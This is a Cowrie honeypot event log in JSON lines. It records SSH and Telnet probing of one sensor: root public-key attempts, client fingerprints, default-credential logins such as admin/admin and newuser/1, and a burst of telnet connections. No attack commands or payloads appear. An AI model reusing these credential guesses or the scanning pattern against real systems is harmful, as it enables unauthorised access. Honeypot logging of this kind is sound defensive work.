{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4a:31:cf:e6:25:1f:b8:5d:86:2a:03:aa:50:05:5c:ff","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAv4eHxPW72YX4AUT8oiEDIe9zNSsGgNMzYcd5ncQ8mC9A2gg7+CI9JmaJLPuRQ8CJwo9dYWykIrMZ0k6y5tuoBeC2SUBqvE5fdo8gEhE2VsENYglX0ZsjL8vy/bAQWFYuAMZcWmufmc29N96Qi5aGHiF2Bl4l5TZR8zRc/+ywflAelK8ZgfqiiyfDcMpvRWQAVoLXR/w8F+wey9uNGmNBYrqIzoTUwRzeif7EtvvYnjHNXe4XBS96sY1TZKyQXRJPyt4EmkepguS7zjv5EgB+dRaYi6cruySkXR9WmLAToRJ/kywmXdXq01fLJ1g5xD5fhfQ87a3GwLJPRkrJVSX4XQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:19:44.178105Z","src_ip":"91.223.69.87","session":"47876b893298","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"31:85:75:e1:34:6e:42:50:0c:33:43:e1:1b:5d:67:58","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsCGRN2c5TupLHc6C2WVAXGxSyYSQJYQOaDvn7xhm/b/b0YQvYMrT6fZTP1ftz5DGQE/Vtm5lqSQuvvyvyiv+AHabFYAc/JINqavNveJrPUz5+6kWHP2p5YrQiiUiGLgxEwK6ejKtb3huyta0bNZMdf16pgusPs+bKqyAofkqs6seCXc/0p4/Fgi8hpCejikcZYuESF9AgzTAXlm22RhbPezDXhz3eTPKeBSHt5xNhk9iymC6uX2ykLcsaIO02Yp0f9z+Y9Jt4tFWeLX5URDqwJ0IJWz4lgNtAbaXQl46espOrkQk2lBY0jIsNRL6z9U7BHNLkm4XTFD2wXlz5UKrkw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 31:85:75:e1:34:6e:42:50:0c:33:43:e1:1b:5d:67:58","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:19:44.292376Z","src_ip":"91.223.69.87","session":"47876b893298","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"31:85:75:e1:34:6e:42:50:0c:33:43:e1:1b:5d:67:58","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsCGRN2c5TupLHc6C2WVAXGxSyYSQJYQOaDvn7xhm/b/b0YQvYMrT6fZTP1ftz5DGQE/Vtm5lqSQuvvyvyiv+AHabFYAc/JINqavNveJrPUz5+6kWHP2p5YrQiiUiGLgxEwK6ejKtb3huyta0bNZMdf16pgusPs+bKqyAofkqs6seCXc/0p4/Fgi8hpCejikcZYuESF9AgzTAXlm22RhbPezDXhz3eTPKeBSHt5xNhk9iymC6uX2ykLcsaIO02Yp0f9z+Y9Jt4tFWeLX5URDqwJ0IJWz4lgNtAbaXQl46espOrkQk2lBY0jIsNRL6z9U7BHNLkm4XTFD2wXlz5UKrkw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:19:44.295858Z","src_ip":"91.223.69.87","session":"47876b893298","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"68:de:30:92:f8:dc:57:4f:27:5e:1a:3f:b6:fe:95:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxxNLC3wMGxyBOjwL0qZ5wDmEJhoAWe3hck3su9PgDSNJchzmaKzyt4uIFSadcs1GeY6YzZtMhQIjQn9WW6o2XJAmnSKbo56pg8AuaY01Sq/vOIZ2Vhmeu2jayKqYOy+mW3MERatro8MdtZ10gusJUMuT3myZr1sn1VFLBR3Acmqm28MbNStsMwWl9gThppTy9NJ4hnkPaTCQHBNkPGgLWbkU6Y4n0nyLns02DFdj9gObfVVQTupmJCt+Uy5UYeO6ggAR5E/hAarDNDnl86wSrO+tlBa/xJ6UdDSbBfJptw0PQZKTKcCUgNnk6ggG0Kn+2G3C3w7vDm0jsWzLVVqlLw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 68:de:30:92:f8:dc:57:4f:27:5e:1a:3f:b6:fe:95:85","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:19:44.413795Z","src_ip":"91.223.69.87","session":"47876b893298","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"68:de:30:92:f8:dc:57:4f:27:5e:1a:3f:b6:fe:95:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxxNLC3wMGxyBOjwL0qZ5wDmEJhoAWe3hck3su9PgDSNJchzmaKzyt4uIFSadcs1GeY6YzZtMhQIjQn9WW6o2XJAmnSKbo56pg8AuaY01Sq/vOIZ2Vhmeu2jayKqYOy+mW3MERatro8MdtZ10gusJUMuT3myZr1sn1VFLBR3Acmqm28MbNStsMwWl9gThppTy9NJ4hnkPaTCQHBNkPGgLWbkU6Y4n0nyLns02DFdj9gObfVVQTupmJCt+Uy5UYeO6ggAR5E/hAarDNDnl86wSrO+tlBa/xJ6UdDSbBfJptw0PQZKTKcCUgNnk6ggG0Kn+2G3C3w7vDm0jsWzLVVqlLw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:19:44.417483Z","src_ip":"91.223.69.87","session":"47876b893298","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e8:55:07:fd:9c:e3:2b:cd:e0:09:54:b8:76:9b:83:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9WGxyqLMgs3Wf3r+h42/Jz0v5VrYf9q1JRlB6+S7KB6kKSAYo8ZKFF0mKqhiOaAfzVTEqmeFsif7+3JkWglwzi/Kf/WbNgQJYxorNnMRNsuA7nzG+WScMCAJNktf3rdAxOF+XkqBgkZrSevzNMuRb71pplEC8xyo1mmXLyU4OCtsPHiZpqFMspSoYrn2o25DPxQ7qYiI0vSIlTVeArUw9nY6IxZkwC7af4Ckq5L+867DfWM+DleZAEg42wb0baiR78kZ5seO+1sl7WK6Y8P4/MsSHpclmV9P68NHPSChBEj+7E/Y7kiqwbq7Ao1x0VH1cThLxkK6hbEP7CXDmwBwJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e8:55:07:fd:9c:e3:2b:cd:e0:09:54:b8:76:9b:83:6e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:19:44.532225Z","src_ip":"91.223.69.87","session":"47876b893298","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e8:55:07:fd:9c:e3:2b:cd:e0:09:54:b8:76:9b:83:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9WGxyqLMgs3Wf3r+h42/Jz0v5VrYf9q1JRlB6+S7KB6kKSAYo8ZKFF0mKqhiOaAfzVTEqmeFsif7+3JkWglwzi/Kf/WbNgQJYxorNnMRNsuA7nzG+WScMCAJNktf3rdAxOF+XkqBgkZrSevzNMuRb71pplEC8xyo1mmXLyU4OCtsPHiZpqFMspSoYrn2o25DPxQ7qYiI0vSIlTVeArUw9nY6IxZkwC7af4Ckq5L+867DfWM+DleZAEg42wb0baiR78kZ5seO+1sl7WK6Y8P4/MsSHpclmV9P68NHPSChBEj+7E/Y7kiqwbq7Ao1x0VH1cThLxkK6hbEP7CXDmwBwJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:19:44.534919Z","src_ip":"91.223.69.87","session":"47876b893298","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:19:44.651747Z","src_ip":"91.223.69.87","session":"47876b893298","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.129.194","src_port":2502,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed08c68ceee7","protocol":"telnet","message":"New connection: 34.62.129.194:2502 (159.203.135.109:23) [session: ed08c68ceee7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:00.596576Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.129.194","src_port":2516,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a47cd20bc1e","protocol":"telnet","message":"New connection: 34.62.129.194:2516 (159.203.135.109:23) [session: 0a47cd20bc1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:00.751852Z"}
{"eventid":"cowrie.session.closed","duration":0.006105661392211914,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:00.757787Z","src_ip":"34.62.129.194","session":"0a47cd20bc1e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.129.194","src_port":2526,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ac05668b36e","protocol":"telnet","message":"New connection: 34.62.129.194:2526 (159.203.135.109:23) [session: 5ac05668b36e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:00.912580Z"}
{"eventid":"cowrie.session.closed","duration":14.23391056060791,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:14.830364Z","src_ip":"34.62.129.194","session":"ed08c68ceee7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.78","src_port":58428,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b2339475439","protocol":"ssh","message":"New connection: 103.75.199.78:58428 (159.203.135.109:22) [session: 8b2339475439]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:16.516291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:16.530360Z","src_ip":"103.75.199.78","session":"8b2339475439","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"19532158b559096b89b1a5f7d17175b2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 19532158b559096b89b1a5f7d17175b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:16.630990Z","src_ip":"103.75.199.78","session":"8b2339475439","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:16.850536Z","src_ip":"103.75.199.78","session":"8b2339475439","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:16.974094Z","src_ip":"103.75.199.78","session":"8b2339475439","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.51","src_port":35602,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd66d48dc9c9","protocol":"ssh","message":"New connection: 130.12.180.51:35602 (159.203.135.109:22) [session: bd66d48dc9c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:17.088702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:17.094980Z","src_ip":"130.12.180.51","session":"bd66d48dc9c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5f904648ee8964bef0e8834012e26003","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5f904648ee8964bef0e8834012e26003","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:17.179350Z","src_ip":"130.12.180.51","session":"bd66d48dc9c9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:17.432694Z","src_ip":"130.12.180.51","session":"bd66d48dc9c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:17.988834Z","src_ip":"130.12.180.51","session":"bd66d48dc9c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.129.194","src_port":47980,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e93ab4f0068","protocol":"telnet","message":"New connection: 34.62.129.194:47980 (159.203.135.109:23) [session: 6e93ab4f0068]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:20.069919Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 159.203.135.109:23","message":"login attempt [GET / HTTP/1.1/Host: 159.203.135.109:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:20.076743Z","src_ip":"34.62.129.194","session":"6e93ab4f0068","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:20.081012Z","src_ip":"34.62.129.194","session":"6e93ab4f0068","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.09115195274353027,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:20.160948Z","src_ip":"34.62.129.194","session":"6e93ab4f0068","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.129.194","src_port":47994,"dst_ip":"159.203.135.109","dst_port":23,"session":"6380f611d5b9","protocol":"telnet","message":"New connection: 34.62.129.194:47994 (159.203.135.109:23) [session: 6380f611d5b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:20.235382Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.129.194","src_port":48002,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e424a19f808","protocol":"telnet","message":"New connection: 34.62.129.194:48002 (159.203.135.109:23) [session: 6e424a19f808]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:20.390308Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.129.194","src_port":48016,"dst_ip":"159.203.135.109","dst_port":23,"session":"bab8baa1773a","protocol":"telnet","message":"New connection: 34.62.129.194:48016 (159.203.135.109:23) [session: bab8baa1773a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:20.545986Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.129.194","src_port":48028,"dst_ip":"159.203.135.109","dst_port":23,"session":"33b1eb2b6217","protocol":"telnet","message":"New connection: 34.62.129.194:48028 (159.203.135.109:23) [session: 33b1eb2b6217]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:20.702376Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.129.194","src_port":48034,"dst_ip":"159.203.135.109","dst_port":23,"session":"49ed71020fb5","protocol":"telnet","message":"New connection: 34.62.129.194:48034 (159.203.135.109:23) [session: 49ed71020fb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:20.864776Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.125","src_port":40462,"dst_ip":"159.203.135.109","dst_port":22,"session":"45c3dc614f6d","protocol":"ssh","message":"New connection: 101.47.159.125:40462 (159.203.135.109:22) [session: 45c3dc614f6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:20.879475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:20.884392Z","src_ip":"101.47.159.125","session":"45c3dc614f6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.129.194","src_port":48048,"dst_ip":"159.203.135.109","dst_port":23,"session":"25c9f24bb660","protocol":"telnet","message":"New connection: 34.62.129.194:48048 (159.203.135.109:23) [session: 25c9f24bb660]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:21.028937Z"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:21.116559Z","src_ip":"101.47.159.125","session":"45c3dc614f6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.129.194","src_port":48054,"dst_ip":"159.203.135.109","dst_port":23,"session":"188a53b2539d","protocol":"telnet","message":"New connection: 34.62.129.194:48054 (159.203.135.109:23) [session: 188a53b2539d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:21.194605Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.129.194","src_port":48058,"dst_ip":"159.203.135.109","dst_port":23,"session":"9565bf901018","protocol":"telnet","message":"New connection: 34.62.129.194:48058 (159.203.135.109:23) [session: 9565bf901018]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:21.352075Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.129.194","src_port":48060,"dst_ip":"159.203.135.109","dst_port":23,"session":"65385c9d93bc","protocol":"telnet","message":"New connection: 34.62.129.194:48060 (159.203.135.109:23) [session: 65385c9d93bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:21.508370Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.129.194","src_port":48066,"dst_ip":"159.203.135.109","dst_port":23,"session":"4efc74e682c9","protocol":"telnet","message":"New connection: 34.62.129.194:48066 (159.203.135.109:23) [session: 4efc74e682c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:21.740280Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.129.194","src_port":48082,"dst_ip":"159.203.135.109","dst_port":23,"session":"16192a3bc149","protocol":"telnet","message":"New connection: 34.62.129.194:48082 (159.203.135.109:23) [session: 16192a3bc149]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:21.896626Z"}
{"eventid":"cowrie.session.closed","duration":0.009972333908081055,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:21.906484Z","src_ip":"34.62.129.194","session":"16192a3bc149","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.129.194","src_port":48098,"dst_ip":"159.203.135.109","dst_port":23,"session":"63e67f332836","protocol":"telnet","message":"New connection: 34.62.129.194:48098 (159.203.135.109:23) [session: 63e67f332836]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:22.057243Z"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"1","message":"login attempt [newuser/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:22.074820Z","src_ip":"101.47.159.125","session":"45c3dc614f6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.129.194","src_port":48112,"dst_ip":"159.203.135.109","dst_port":23,"session":"77b7f0b64d95","protocol":"telnet","message":"New connection: 34.62.129.194:48112 (159.203.135.109:23) [session: 77b7f0b64d95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:22.219185Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.129.194","src_port":48124,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac44b87a6a58","protocol":"telnet","message":"New connection: 34.62.129.194:48124 (159.203.135.109:23) [session: ac44b87a6a58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:22.375925Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.129.194","src_port":48130,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee21ac2aa447","protocol":"telnet","message":"New connection: 34.62.129.194:48130 (159.203.135.109:23) [session: ee21ac2aa447]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:22.532219Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.129.194","src_port":48136,"dst_ip":"159.203.135.109","dst_port":23,"session":"759042d31400","protocol":"telnet","message":"New connection: 34.62.129.194:48136 (159.203.135.109:23) [session: 759042d31400]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:22.688019Z"}
